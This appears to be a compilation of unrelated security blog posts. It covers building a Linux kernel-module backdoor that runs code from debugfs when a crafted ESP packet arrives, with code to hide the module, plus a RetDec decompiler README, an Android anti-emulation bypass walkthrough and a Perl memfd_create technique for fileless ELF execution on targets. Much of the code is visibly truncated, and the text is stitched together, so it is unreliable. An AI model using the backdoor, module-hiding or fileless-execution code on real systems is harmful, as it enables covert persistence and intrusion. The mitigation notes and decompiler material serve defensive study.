Misusing debugfs for In-Memory RCE

An explanation of how debugfs and nf hooks can be used to remotely execute code.

Картинки по запросу debugfs


Debugfs is a simple-to-use RAM-based file system specially designed for kernel debugging purposes. It was released with version 2.6.10-rc3 and written by Greg Kroah-Hartman. In this post, I will be showing you how to use debugfs and Netfilter hooks to create a Loadable Kernel Module capable of executing code remotely entirely in RAM.

An attacker’s ideal process would be to first gain unprivileged access to the target, perform a local privilege escalation to gain root access, insert the kernel module onto the machine as a method of persistence, and then pivot to the next target.

Note: The following is tested and working on clean images of Ubuntu 12.04 (3.13.0-32), Ubuntu 14.04 (4.4.0-31), Ubuntu 16.04 (4.13.0-36). All development was done on Arch throughout a few of the most recent kernel versions (4.16+).

Practicality of a debugfs RCE

When diving into how practical using debugfs is, I needed to see how prevalent it was across a variety of systems.

For every Ubuntu release from 6.06 to 18.04 and CentOS versions 6 and 7, I created a VM and checked the three statements below. This chart details the answers to each of the questions for each distro. The main thing I was looking for was to see if it was even possible to mount the device in the first place. If that was not possible, then we won’t be able to use debugfs in our backdoor.

Fortunately, every distro, except Ubuntu 6.06, was able to mount debugfs. Every Ubuntu version from 10.04 and on as well as CentOS 7 had it mounted by default.

  1. Present: Is /sys/kernel/debug/ present on first load?
  2. Mounted: Is /sys/kernel/debug/ mounted on first load?
  3. Possible: Can debugfs be mounted with sudo mount -t debugfs none /sys/kernel/debug?
Operating System Present Mounted Possible
Ubuntu 6.06 No No No
Ubuntu 8.04 Yes No Yes
Ubuntu 10.04* Yes Yes Yes
Ubuntu 12.04 Yes Yes Yes
Ubuntu 14.04** Yes Yes Yes
Ubuntu 16.04 Yes Yes Yes
Ubuntu 18.04 Yes Yes Yes
Centos 6.9 Yes No Yes
Centos 7 Yes Yes Yes
  • *debugfs also mounted on the server version as rw,relatime on /var/lib/ureadahead/debugfs
  • **tracefs also mounted on the server version as rw,relatime on /var/lib/ureadahead/debugfs/tracing

Executing code on debugfs

Once I determined that debugfs is prevalent, I wrote a simple proof of concept to see if you can execute files from it. It is a filesystem after all.

The debugfs API is actually extremely simple. The main functions you would want to use are: debugfs_initialized — check if debugfs is registered, debugfs_create_blob — create a file for a binary object of arbitrary size, and debugfs_remove — delete the debugfs file.

In the proof of concept, I didn’t use debugfs_initialized because I know that it’s present, but it is a good sanity-check.

To create the file, I used debugfs_create_blob as opposed to debugfs_create_file as my initial goal was to execute ELF binaries. Unfortunately I wasn’t able to get that to work — more on that later. All you have to do to create a file is assign the blob pointer to a buffer that holds your content and give it a length. It’s easier to think of this as an abstraction to writing your own file operations like you would do if you were designing a character device.

The following code should be very self-explanatory. dfs holds the file entry and myblob holds the file contents (pointer to the buffer holding the program and buffer length). I simply call the debugfs_create_blob function after the setup with the name of the file, the mode of the file (permissions), NULL parent, and lastly the data.

struct dentry *dfs = NULL;
struct debugfs_blob_wrapper *myblob = NULL;

int create_file(void){
	unsigned char *buffer = "\
#!/usr/bin/env python\n\
with open(\"/tmp/i_am_groot\", \"w+\") as f:\n\
	f.write(\"Hello, world!\")";

	myblob = kmalloc(sizeof *myblob, GFP_KERNEL);
	if (!myblob){
		return -ENOMEM;

	myblob->data = (void *) buffer;
	myblob->size = (unsigned long) strlen(buffer);

	dfs = debugfs_create_blob("debug_exec", 0777, NULL, myblob);
	if (!dfs){
		return -EINVAL;
	return 0;

Deleting a file in debugfs is as simple as it can get. One call to debugfs_remove and the file is gone. Wrapping an error check around it just to be sure and it’s 3 lines.

void destroy_file(void){
	if (dfs){

Finally, we get to actually executing the file we created. The standard and as far as I know only way to execute files from kernel-space to user-space is through a function called call_usermodehelper. M. Tim Jones wrote an excellent article on using UMH called Invoking user-space applications from the kernel, so if you want to learn more about it, I highly recommend reading that article.

To use call_usermodehelper we set up our argv and envp arrays and then call the function. The last flag determines how the kernel should continue after executing the function (“Should I wait or should I move on?”). For the unfamiliar, the envp array holds the environment variables of a process. The file we created above and now want to execute is /sys/kernel/debug/debug_exec. We can do this with the code below.

void execute_file(void){
	static char *envp[] = {

	char *argv[] = {

	call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

I would now recommend you try the PoC code to get a good feel for what is being done in terms of actually executing our program. To check if it worked, run ls /tmp/ and see if the file i_am_groot is present.


We now know how our program gets executed in memory, but how do we send the code and get the kernel to run it remotely? The answer is by using Netfilter! Netfilter is a framework in the Linux kernel that allows kernel modules to register callback functions called hooks in the kernel’s networking stack.

If all that sounds too complicated, think of a Netfilter hook as a bouncer of a club. The bouncer is only allowed to let club-goers wearing green badges to go through (ACCEPT), but kicks out anyone wearing red badges (DENY/DROP). He also has the option to change anyone’s badge color if he chooses. Suppose someone is wearing a red badge, but the bouncer wants to let them in anyway. The bouncer can intercept this person at the door and alter their badge to be green. This is known as packet “mangling”.

For our case, we don’t need to mangle any packets, but for the reader this may be useful. With this concept, we are allowed to check any packets that are coming through to see if they qualify for our criteria. We call the packets that qualify “trigger packets” because they trigger some action in our code to occur.

Netfilter hooks are great because you don’t need to expose any ports on the host to get the information. If you want a more in-depth look at Netfilter you can read the article here or the Netfilter documentation.

netfilter hooks

When I use Netfilter, I will be intercepting packets in the earliest stage, pre-routing.

ESP Packets

The packet I chose to use for this is called ESP. ESP or Encapsulating Security Payload Packets were designed to provide a mix of security services to IPv4 and IPv6. It’s a fairly standard part of IPSec and the data it transmits is supposed to be encrypted. This means you can put an encrypted version of your script on the client and then send it to the server to decrypt and run.

Netfilter Code

Netfilter hooks are extremely easy to implement. The prototype for the hook is as follows:

unsigned int function_name (
		unsigned int hooknum,
		struct sk_buff *skb,
		const struct net_device *in,
		const struct net_device *out,
		int (*okfn)(struct sk_buff *)

All those arguments aren’t terribly important, so let’s move on to the one you need: struct sk_buff *skbsk_buffs get a little complicated so if you want to read more on them, you can find more information here.

To get the IP header of the packet, use the function skb_network_header and typecast it to a struct iphdr *.

struct iphdr *ip_header;

ip_header = (struct iphdr *)skb_network_header(skb);
if (!ip_header){
	return NF_ACCEPT;

Next we need to check if the protocol of the packet we received is an ESP packet or not. This can be done extremely easily now that we have the header.

if (ip_header->protocol == IPPROTO_ESP){
	// Packet is an ESP packet

ESP Packets contain two important values in their header. The two values are SPI and SEQ. SPI stands for Security Parameters Index and SEQ stands for Sequence. Both are technically arbitrary initially, but it is expected that the sequence number be incremented each packet. We can use these values to define which packets are our trigger packets. If a packet matches the correct SPI and SEQ values, we will perform our action.

if ((esp_header->spi == TARGET_SPI) &&
	(esp_header->seq_no == TARGET_SEQ)){
	// Trigger packet arrived

Once you’ve identified the target packet, you can extract the ESP data using the struct’s member enc_data. Ideally, this would be encrypted thus ensuring the privacy of the code you’re running on the target computer, but for the sake of simplicity in the PoC I left it out.

The tricky part is that Netfilter hooks are run in a softirq context which makes them very fast, but a little delicate. Being in a softirq context allows Netfilter to process incoming packets across multiple CPUs concurrently. They cannot go to sleep and deferred work runs in an interrupt context (this is very bad for us and it requires using delayed workqueues as seen in state.c).

The full code for this section can be found here.


  1. Debugfs must be present in the kernel version of the target (>= 2.6.10-rc3).
  2. Debugfs must be mounted (this is trivial to fix if it is not).
  3. rculist.h must be present in the kernel (>= linux-
  4. Only interpreted scripts may be run.

Anything that contains an interpreter directive (python, ruby, perl, etc.) works together when calling call_usermodehelper on it. See this wikipedia article for more information on the interpreter directive.

void execute_file(void){
	static char *envp[] = {

	char *argv[] = {

    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);

Go also works, but it’s arguably not entirely in RAM as it has to make a temp file to build it and it also requires the .go file extension making this a little more obvious.

void execute_file(void){
	static char *envp[] = {

	char *argv[] = {

    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);


If I were to add the ability to hide a kernel module (which can be done trivially through the following code), discovery would be very difficult. Long-running processes executing through this technique would be obvious as there would be a process with a high pid number, owned by root, and running <interpreter> /sys/kernel/debug/debug_exec. However, if there was no active execution, it leads me to believe that the only method of discovery would be a secondary kernel module that analyzes custom Netfilter hooks.

struct list_head *module;
int module_visible = 1;

void module_unhide(void){
	if (!module_visible){
		list_add(&(&__this_module)->list, module);

void module_hide(void){
	if (module_visible){
		module = (&__this_module)->list.prev;


The simplest mitigation for this is to remount debugfs as noexec so that execution of files on it is prohibited. To my knowledge, there is no reason to have it mounted the way it is by default. However, this could be trivially bypassed. An example of execution no longer working after remounting with noexec can be found in the screenshot below.

For kernel modules in general, module signing should be required by default. Module signing involves cryptographically signing kernel modules during installation and then checking the signature upon loading it into the kernel. “This allows increased kernel security by disallowing the loading of unsigned modules or modules signed with an invalid key. Module signing increases security by making it harder to load a malicious module into the kernel.

debugfs with noexec

# Mounted without noexec (default)
cat /etc/mtab | grep "debugfs"
ls -la /tmp/i_am_groot
sudo insmod test.ko
ls -la /tmp/i_am_groot
sudo rmmod test.ko
sudo rm /tmp/i_am_groot
sudo umount /sys/kernel/debug
# Mounted with noexec
sudo mount -t debugfs none -o rw,noexec /sys/kernel/debug
ls -la /tmp/i_am_groot
sudo insmod test.ko
ls -la /tmp/i_am_groot
sudo rmmod test.ko

Future Research

An obvious area to expand on this would be finding a more standard way to load programs as well as a way to load ELF files. Also, developing a kernel module that can distinctly identify custom Netfilter hooks that were loaded in from kernel modules would be useful in defeating nearly every LKM rootkit that uses Netfilter hooks.

Retargetable Machine-Code Decompiler: RetDec

RetDec is a retargetable machine-code decompiler based on LLVM. The decompiler is not limited to any particular target architecture, operating system, or executable file format:

  • Supported file formats: ELF, PE, Mach-O, COFF, AR (archive), Intel HEX, and raw machine code.
  • Supported architectures (32b only): Intel x86, ARM, MIPS, PIC32, and PowerPC.



  • Static analysis of executable files with detailed information.
  • Compiler and packer detection.
  • Loading and instruction decoding.
  • Signature-based removal of statically linked library code.
  • Extraction and utilization of debugging information (DWARF, PDB).
  • Reconstruction of instruction idioms.
  • Detection and reconstruction of C++ class hierarchies (RTTI, vtables).
  • Demangling of symbols from C++ binaries (GCC, MSVC, Borland).
  • Reconstruction of functions, types, and high-level constructs.
  • Integrated disassembler.
  • Output in two high-level languages: C and a Python-like language.
  • Generation of call graphs, control-flow graphs, and various statistics.


After seven years of development, Avast open-sources its machine-code decompiler for platform-independent analysis of executable files. Avast released its analytical tool, RetDec, to help the cybersecurity community fight malicious software. The tool allows anyone to study the code of applications to see what the applications do, without running them. The goal behind open sourcing RetDec is to provide a generic tool to transform platform-specific code, such as x86/PE executable files, into a higher form of representation, such as C source code. By generic, we mean that the tool should not be limited to a single platform, but rather support a variety of platforms, including different architectures, file formats, and compilers. At Avast, RetDec is actively used for analysis of malicious samples for various platforms, such as x86/PE and ARM/ELF.


What is a decompiler?

A decompiler is a program that takes an executable file as its input and attempts to transform it into a high-level representation while preserving its functionality. For example, the input file may be application.exe, and the output can be source code in a higher-level programming language, such as C. A decompiler is, therefore, the exact opposite of a compiler, which compiles source files into executable files; this is why decompilers are sometimes also called reverse compilers.

By preserving a program’s functionality, we want the source code to reflect what the input program does as accurately as possible; otherwise, we risk assuming the program does one thing, when it really does another.

Generally, decompilers are unable to perfectly reconstruct original source code, due to the fact that a lot of information is lost during the compilation process. Furthermore, malware authors often use various obfuscation and anti-decompilation tricks to make the decompilation of their software as difficult as possible.

RetDec addresses the above mentioned issues by using a large set of supported architectures and file formats, as well as in-house heuristics and algorithms to decode and reconstruct applications. RetDec is also the only decompiler of its scale using a proven LLVM infrastructure and provided for free, licensed under MIT.

Decompilers can be used in a variety of situations. The most obvious is reverse engineering when searching for bugs, vulnerabilities, or analyzing malicious software. Decompilation can also be used to retrieve lost source code when comparing two executables, or to verify that a compiled program does exactly what is written in its source code.

There are several important differences between a decompiler and a disassembler. The former tries to reconstruct an executable file into a platform-agnostic, high-level source code, while the latter gives you low-level, platform-specific assembly instructions. The assembly output is non-portable, error-prone when modified, and requires specific knowledge about the instruction set of the target processor. Another positive aspect of decompilers is the high-level source code they produce, like  C source code, which can be read by people who know nothing about the assembly language for the particular processor being analyzed.


Installation and Use

Currently,RetDec support only Windows (7 or later) and Linux.



  1. Either download and unpack a pre-built package from the following list, or build and install the decompiler by yourself (the process is described below):
  2. Install Microsoft Visual C++ Redistributable for Visual Studio 2015.
  3. Install MSYS2 and other needed applications by following RetDec’s Windows environment setup guide.
  4. Now, you are all set to run the decompiler. To decompile a binary file named test.exe, go into $RETDEC_INSTALLED_DIR/bin and run:
    bash decompile.sh test.exe

    For more information, run bash decompile.sh --help.



  1. There are currently no pre-built packages for Linux. You will have to build and install the decompiler by yourself. The process is described below.
  2. After you have built the decompiler, you will need to install the following packages via your distribution’s package manager:
  3. Now, you are all set to run the decompiler. To decompile a binary file named test.exe, go into $RETDEC_INSTALLED_DIR/bin and run:
    ./decompile.sh test.exe

    For more information, run ./decompile.sh --help.


Build and Installation



On Debian-based distributions (e.g. Ubuntu), the required packages can be installed with apt-get:

sudo apt-get install build-essential cmake git perl python bash coreutils wget bc graphviz upx flex bison zlib1g-dev libtinfo-dev autoconf pkg-config m4 libtool



  • Microsoft Visual C++ (version >= Visual Studio 2015 Update 2)
  • Git
  • MSYS2 and some other applications. Follow RetDec’s Windows environment setup guide to get everything you need on Windows.
  • Active Perl. It needs to be the first Perl in PATH, or it has to be provided to CMake using CMAKE_PROGRAM_PATH variable, e.g. -DCMAKE_PROGRAM_PATH=/c/perl/bin.
  • Python (version >= 3.4)



Warning: Currently, RetDec has to be installed into a clean, dedicated directory. Do NOT install it into /usr,/usr/local, etc. because our build system is not yet ready for system-wide installations. So, when running cmake, always set -DCMAKE_INSTALL_PREFIX=<path> to a directory that will be used just by RetDec. 

  • Recursively clone the repository (it contains submodules):
    • git clone --recursive https://github.com/avast-tl/retdec
  • Linux:
    • cd retdec
    • mkdir build && cd build
    • cmake .. -DCMAKE_INSTALL_PREFIX=<path>
    • make && make install
  • Windows:
    • Open MSBuild command prompt, or any terminal that is configured to run the msbuild command.
    • cd retdec
    • mkdir build && cd build
    • cmake .. -DCMAKE_INSTALL_PREFIX=<path> -G<generator>
    • msbuild /m /p:Configuration=Release retdec.sln
    • msbuild /m /p:Configuration=Release INSTALL.vcxproj
    • Alternatively, you can open retdec.sln generated by cmake in Visual Studio IDE.

You have to pass the following parameters to cmake:

  • -DCMAKE_INSTALL_PREFIX=<path> to set the installation path to <path>.
  • (Windows only) -G<generator> is -G"Visual Studio 14 2015" for 32-bit build using Visual Studio 2015, or -G"Visual Studio 14 2015 Win64" for 64-bit build using Visual Studio 2015. Later versions of Visual Studio may be used.

You can pass the following additional parameters to cmake:

  • -DRETDEC_DOC=ON to build with API documentation (requires Doxygen and Graphviz, disabled by default).
  • -DRETDEC_TESTS=ON to build with tests, including all the tests in dependency submodules (disabled by default).
  • -DCMAKE_BUILD_TYPE=Debug to build with debugging information, which is useful during development. By default, the project is built in the Release mode. This has no effect on Windows, but the same thing can be achieved by running msbuild with the /p:Configuration=Debug parameter.
  • -DCMAKE_PROGRAM_PATH=<path> to use Perl at <path> (probably useful only on Windows).

Bypassing Android Anti-Emulation


This is the first of a series of posts where we will focus in solving Android Reversing challenges. The challenge is focused on a binary protection called «anti-emulation», (you can find more info in the OWASP Top Ten 2014/2016 article:). In the upcoming entries we will talk about other protections like root checker, certificate pinning, anti-tampering, obfuscation techniques, along with ways to protect our app from differents tools (Xposed tool, Frida, etc).

The download link for the apk is and the sha1 signature is:
a2d88143cc3de73387931f84439a4c5e4fdfe123 ReverzeMe1.apk

Before the analysis of the challenge itself I will introduce the concept of «Anti-Emulation» on Android. A good reference for this topic is the Mobile Security Testing Guide by OWASP. They show some examples about these techniques, and different ways to analyze them. There is also an API called SafetyNet, which is an Android API that creates a profile of the device using software and hardware information which is useful for checking different Android protections.

If we see inside the Emulator Detection Examples section, an application has several ways to detect the emulation process.

For example, by checking differents methods like «Build»«TelephonyManager»,«android.os.SystemProperties»«ro.product.device»«ro.kernel.qemu», etc. Depending on the response it can infer if it is running on a physical device in an Android Emulator. To check if the app has this implementation in place, we can try to obtain its code. This can be done through differents techniques and we can use some tools such as apktooljadx or cfr, etc.

We will see how we can make use of some of those tools to obtain a really good approximation of the application code. For example, using apktool we can decode resources to nearly original form. We can even rebuild them after making some modifications. With “jadx» or «cfr» (boths java decompilers) we can analyze the «java code» obtained after the decompilation process. This practice, allows us to look at the code in more natural way, since the output from the java decompilers are «.java» files whereas the output from apktool are «.smali» code files.

I will not get into Java decompilers in this post, because it is a out of the scope. will simply use them to analyze the code for the application in the challenge. Then, we will modify the application from the .smali code. We will show how to use apktool to obtain a good an approximation of the code, to be able to modify it as we need to and then re-build it.
With this in mind, we will take a look at which is the process to create an APK file, since it will be useful to start trying to solve the challenge.

The process of creating an APK file:

  1. First, the developer creates its application in .java to then be compiled into into .class files.
  2. Once these .class files are created, they are converted into .dex (Dalvik EXecutables) files. These files contain byte code for the Dalvik Virtual Machine (DVM) which is a non-standar JVM that runs on Android devices.
  3. The DVM runs the DEX files while ART runs OAT (ELF) files.
  4. Some other XML files are converted to a binary format optimized for space.
  5. The last step is the APK creation from the .dex files, binary XML files and other resources needed to run the application and are packaged into an Android Package file (.apk).
  6. After the APK file is signed by the developer (we’ll come back to this in the «Manual patching with apktool» section), the APK is ready to be installed.
  7. If we want to look at the APK file, we can check its content by unpacking it, for example: $unzip -e example.apk -d example_folder

In short, the APK file is just a signed zip file that we can unzip them using the unzip command:

$unzip ReverseMe1.apk -d reverseme_unzipped

If we take a look at the manifest, we notice that the resources are encoded, we can use apktool to decode them later.$more AndroidManifest.xml

Anti-Emulation Checks:

As we mentioned earlier, there are several checks that an application can perform in order to detect whether we are running it on an emulated environment or an actual device. Usually malware APKs have these kind of protections to avoid any analisis. Some common validations are listed here (anti-emulation process), along with some examples.

Below are some code examples of different validations that I have encountered on applications while writing this post:

Some validation methods are even called “isEmulator()”“carrierNameFromTelephonyManager()”, or my personal favorite so far, “smellsLikeAnEmulator()”. All of them look for the same, or similar validations. They test with “equals”, “contains”, “startsWith” or “endsWith” against some hardcoded strings that can be interpreted as being set by an emulator. But they all look pretty much the same.

I asked myself why this happened? I google it and I had the answer, of course, the first result was a stackoverflow response.

I started looking into some others apps, and I found some many more quite similar implementations:

The difference with the previous set of validation methods is that, while the first set validates through “string comparisons”, the second one does by looking at the “Android system properties” to try to detect emulated environments.

Then, by simply analyzing the implementation methods, we can identify two main approaches to implement an anti-emulation protection. We can use this link.

Strings comparisons:

Let’s take look at the “isEmulator()” example and their validations:

I wrote this reference table:

We can check them in a easy way using the following command in our computers with adb:

╰─$ adb shell getprop ro.build.fingerprint generic/vbox86p/vbox86p:5.1/LMY47D/genymotion08250738:userdebug/test-keys

Basically we can use $adb shell getprop < key > to check the differents values.

Android System Properties validations:

Now that we know how to check for validation through strings, we can do the same with the Android System Properties validations.

Android has a set of properties about the device that can be read using the getprop command line utility, like we saw recently. Those System Properties are stored in a key value pair format in the property files (default.prop, local.prop, etc). And we’ll read those to check the Anti-Emulation process.

If we want to understand more about the property files, using “adb shell cat default.prop” we can check the property output:

$adb shell cat default.prop


But if we returned to the previous image:

They are checking ro.hardwarero.kernel.qemuro.serialnoro.product.namero.product.modelro.hardware, etc. We can check this output too using:

╰─$ adb shell getprop ro.product.name
╰─$ adb shell getprop ro.product.device
╰─$ adb shell getprop ro.product.model
Custom Phone - 5.1.0 - API 22 - 768x1280
╰─$ adb shell getprop ro.kernel.qemu
╰─$ adb shell getprop ro.hardware
╰─$ adb shell getprop qemu.hw.mainkeys
╰─$ adb shell getprop ro.bootloader
╰─$ adb shell getprop ro.bootmode
╰─$ adb shell getprop ro.secure
╰─$ adb shell getprop ro.build.fingerprint
╰─$ adb shell getprop ro.build.version.sdk

And again if the value of ro.secure is 1, the app is running on a emulator. The same with ro.kernel.qemu and the others.

Now is easy to understand which part of the code we need to modify to bypass the emulation process. We need to check all the implementations inside the code to bypass the application.

Challenge resolution:

Jadx challenge interpretation:

If we install the application inside the emulator and run it, we will see something similar to the screenshot below.. If we write some alphanumeric input a warning stating «This Devices is not supported» will appear. Since we don’t know why this happened, we can use jadx to obtain the .java code and use it as a starting point to determine the reason.

Of course, we can also use apktool or unzip the APK file to know more about the application, and maybe obtain some other kind of information. In this approach, we will focus on the .java code and try to understand the application workflow.

To decompile the APK, using jadx is enough for this challenge, although there are lots of Java decompilers out there that we could also use.

$jadx ReverzeMe1.apk

We can see some errors and warnings in the images above, but for the purpose of this post they’re not important. Once the decompilation process has finished, the tool should have created a folder with all the decompiled files, which look like this:

If we look for the text with the warning we saw earlier, we’ll find a «toast», which is a view containing a quick little message for the user. The toast class helps you create and manage them. We can also note that the message is shown depending on the value returned by «ChallengeJNI.this.checkIfDeviceIsEmulator().booleanValue()».

What do you think about this line?? :).

Let’s take a look at the implementation of the «checkIfDeviceIsEmulator()» function:

Basically what it is doing is checking some strings against a set of predefined strings, like we saw in the “Anti-Emulation Checks” before. Now we will try to bypass them.


Apktool challenge interpretation:

Like we already saw, we need to modify the checkIfDeviceIsEmulator() function in order to bypass the application’s validation, so now we are going to use apktool to do that.

Apktool patching and reversing engineering:

After we have installed apktool, we can check the options tool. For now we will focus on the decode (‘d’) and build (‘b’) options. Apktool needs an input .apk, which in this case is the one from the challenge we are trying to solve.


To decode the application execute the following command:

$apktool d ReverseMe1.apk -output reverseme_apktool
$ls -la
$cd reverseme_apktool
$ls -la 

We can see the internal structure of the decoded APK, the AndroidManifest.xml file and the differents folders like the smali code. Is important to remember the normal APK structure.

  • smali — disassembled java code
  • res — resources, strings
  • assets — files bundled inside the APK
  • lib — native libraries (*.so files)
  • AndroidManifest.xml — decoded version
  • original and apktool.yml — used by apktool

After decoding the app, we can see the AndroidManifest.xml.

If we look inside the Smali folder we can see all the smali files

$more ChallengeJNI\$1.smali$more ChallengeJNI.smali

As we can see, working with smali code is harder than with java, so we will move to java decompilers to analyze and interpreter the application code. And after that, we will modify the application to obtain the bypass’ smali code and re build the application. To do that we will make use of some dalvik opcodes.

Understanding dalvik opcodes:

This link is really useful, I used it to create a table showing some of the most interesting examples from the “dalvik opcodes” used by the application.

Something that we will see very often in the code is a line like this:

“.method private checkIfDeviceIsEmulator ()Ljava/lang/Boolean;”

It’s important to understand the meaning of this, so let’s break it down:

  1. “.method private” -> is the type of method.
  2. checkIfDeviceIsEmulator -> the method name.
  3. ()Ljava/lang/Boolean; -> the type of the return value, prefixed with L, dots “.” replaced with slashes “/” and suffixed with semicolon ;


In-Memory-Only ELF Execution (Without tmpfs)

In which we run a normal ELF binary on Linux without touching the filesystem (except /proc).


Every so often, it’s handy to execute an ELF binary without touching disk. Normally, putting it somewhere under /run/user or something else backed by tmpfs works just fine, but, outside of disk forensics, that looks like a regular file operation. Wouldn’t it be cool to just grab a chunk of memory, put our binary in there, and run it without monkey-patching the kernel, rewriting execve(2) in userland, or loading a library into another process?

Enter memfd_create(2). This handy little system call is something like malloc(3), but instead of returning a pointer to a chunk of memory, it returns a file descriptor which refers to an anonymous (i.e. memory-only) file. This is only visible in the filesystem as a symlink in /proc/<PID>/fd/ (e.g. /proc/10766/fd/3), which, as it turns out, execve(2) will happily use to execute an ELF binary.

The manpage has the following to say on the subject of naming anonymous files:

The name supplied in name [an argument to memfd_create(2)] is used as a filename and will be displayed as the target of the corresponding symbolic link in the directory /proc/self/fd/. The displayed name is always prefixed with memfd: and serves only for debugging purposes. Names do not affect the behavior of the file descriptor, and as such multiple files can have the same name without any side effects.

In other words, we can give it a name (to which memfd: will be prepended), but what we call it doesn’t really do anything except help debugging (or forensicing). We can even give the anonymous file an empty name.

Listing /proc/<PID>/fd, anonymous files look like this:

stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~$ ls -l /proc/10766/fd
total 0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 0 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 1 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 2 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 3 -> /memfd:kittens (deleted)
lrwx------ 1 stuart stuart 64 Mar 30 23:23 4 -> /memfd: (deleted)

Here we see two anonymous files, one named kittens and one without a name at all. The (deleted) is inaccurate and looks a bit weird but c’est la vie.


Unless we land on target with some way to call memfd_create(2), from our initial vector (e.g. injection into a Perl or Python program with eval()), we’ll need a way to execute system calls on target. We could drop a binary to do this, but then we’ve failed to acheive fileless ELF execution. Fortunately, Perl’s syscall() solves this problem for us nicely.

We’ll also need a way to write an entire binary to the target’s memory as the contents of the anonymous file. For this, we’ll put it in the source of the script we’ll write to do the injection, but in practice pulling it down over the network is a viable alternative.

As for the binary itself, it has to be, well, a binary. Running scripts starting with #!/interpreter doesn’t seem to work.

The last thing we need is a sufficiently new kernel. Anything version 3.17 (released 05 October 2014) or later will work. We can find the target’s kernel version with uname -r.

stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~$ uname -r

On Target

Aside execve(2)ing an anonymous file instead of a regular filesystem file and doing it all in Perl, there isn’t much difference from starting any other program. Let’s have a look at the system calls we’ll use.


Much like a memory-backed fd = open(name, O_CREAT|O_RDWR, 0700), we’ll use the memfd_create(2) system call to make our anonymous file. We’ll pass it the MFD_CLOEXEC flag (analogous to O_CLOEXEC), so that the file descriptor we get will be automatically closed when we execve(2) the ELF binary.

Because we’re using Perl’s syscall() to call the memfd_create(2), we don’t have easy access to a user-friendly libc wrapper function or, for that matter, a nice human-readable MFD_CLOEXEC constant. Instead, we’ll need to pass syscall() the raw system call number for memfd_create(2) and the numeric constant for MEMFD_CLOEXEC. Both of these are found in header files in /usr/include. System call numbers are stored in #defines starting with __NR_.

stuart@ubuntu-s-1vcpu-1gb-nyc1-01:/usr/include$ egrep -r '__NR_memfd_create|MFD_CLOEXEC' *
asm-generic/unistd.h:#define __NR_memfd_create 279
asm-generic/unistd.h:__SYSCALL(__NR_memfd_create, sys_memfd_create)
linux/memfd.h:#define MFD_CLOEXEC               0x0001U
x86_64-linux-gnu/asm/unistd_64.h:#define __NR_memfd_create 319
x86_64-linux-gnu/asm/unistd_32.h:#define __NR_memfd_create 356
x86_64-linux-gnu/asm/unistd_x32.h:#define __NR_memfd_create (__X32_SYSCALL_BIT + 319)
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create

Looks like memfd_create(2) is system call number 319 on 64-bit Linux (#define __NR_memfd_create in a file with a name ending in _64.h), and MFD_CLOEXEC is a consatnt 0x0001U (i.e. 1, in linux/memfd.h). Now that we’ve got the numbers we need, we’re almost ready to do the Perl equivalent of C’s fd = memfd_create(name, MFD_CLOEXEC) (or more specifically, fd = syscall(319, name, MFD_CLOEXEC)).

The last thing we need is a name for our file. In a file listing, /memfd: is probably a bit better-looking than /memfd:kittens, so we’ll pass an empty string to memfd_create(2) via syscall(). Perl’s syscall() won’t take string literals (due to passing a pointer under the hood), so we make a variable with the empty string and use it instead.

Putting it together, let’s finally make our anonymous file:

my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
        die "memfd_create: $!";

We now have a file descriptor number in $fd. We can wrap that up in a Perl one-liner which lists its own file descriptors after making the anonymous file:

stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~$ perl -e '$n="";die$!if-1==syscall(319,$n,1);print`ls -l /proc/$$/fd`'
total 0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 0 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 1 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 2 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 3 -> /memfd: (deleted)


Now that we have an anonymous file, we need to fill it with ELF data. First we’ll need to get a Perl filehandle from a file descriptor, then we’ll need to get our data in a format that can be written, and finally, we’ll write it.

Perl’s open(), which is normally used to open files, can also be used to turn an already-open file descriptor into a file handle by specifying something like >&=X (where X is a file descriptor) instead of a file name. We’ll also want to enable autoflush on the new file handle:

open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);

We now have a file handle which refers to our anonymous file.

Next we need to make our binary available to Perl, so we can write it to the anonymous file. We’ll turn the binary into a bunch of Perl print statements of which each write a chunk of our binary to the anonymous file.

perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary

This will give us many, many lines similar to:

print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/;
print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;

Exceuting those puts our ELF binary into memory. Time to run it.

Optional: fork(2)

Ok, fork(2) is isn’t actually a system call; it’s really a libc function which does all sorts of stuff under the hood. Perl’s fork() is functionally identical to libc’s as far as process-making goes: once it’s called, there are now two nearly identical processes running (of which one, usually the child, often finds itself calling exec(2)). We don’t actually have to spawn a new process to run our ELF binary, but if we want to do more than just run it and exit (say, run it multiple times), it’s the way to go. In general, using fork() to spawn multiple children looks something like:

while ($keep_going) {
        my $pid = fork();
        if (-1 == $pid) { # Error
                die "fork: $!";
        if (0 == $pid) { # Child
                # Do child things here
                exit 0;

Another handy use of fork(), especially when done twice with a call to setsid(2) in the middle, is to spawn a disassociated child and let the parent terminate:

# Spawn child
my $pid = fork();
if (-1 == $pid) { # Error
        die "fork1: $!";
if (0 != $pid) { # Parent terminates
        exit 0;
# In the child, become session leader
if (-1 == syscall(112)) {
        die "setsid: $!";

# Spawn grandchild
$pid = fork();
if (-1 == $pid) { # Error
        die "fork2: $!";
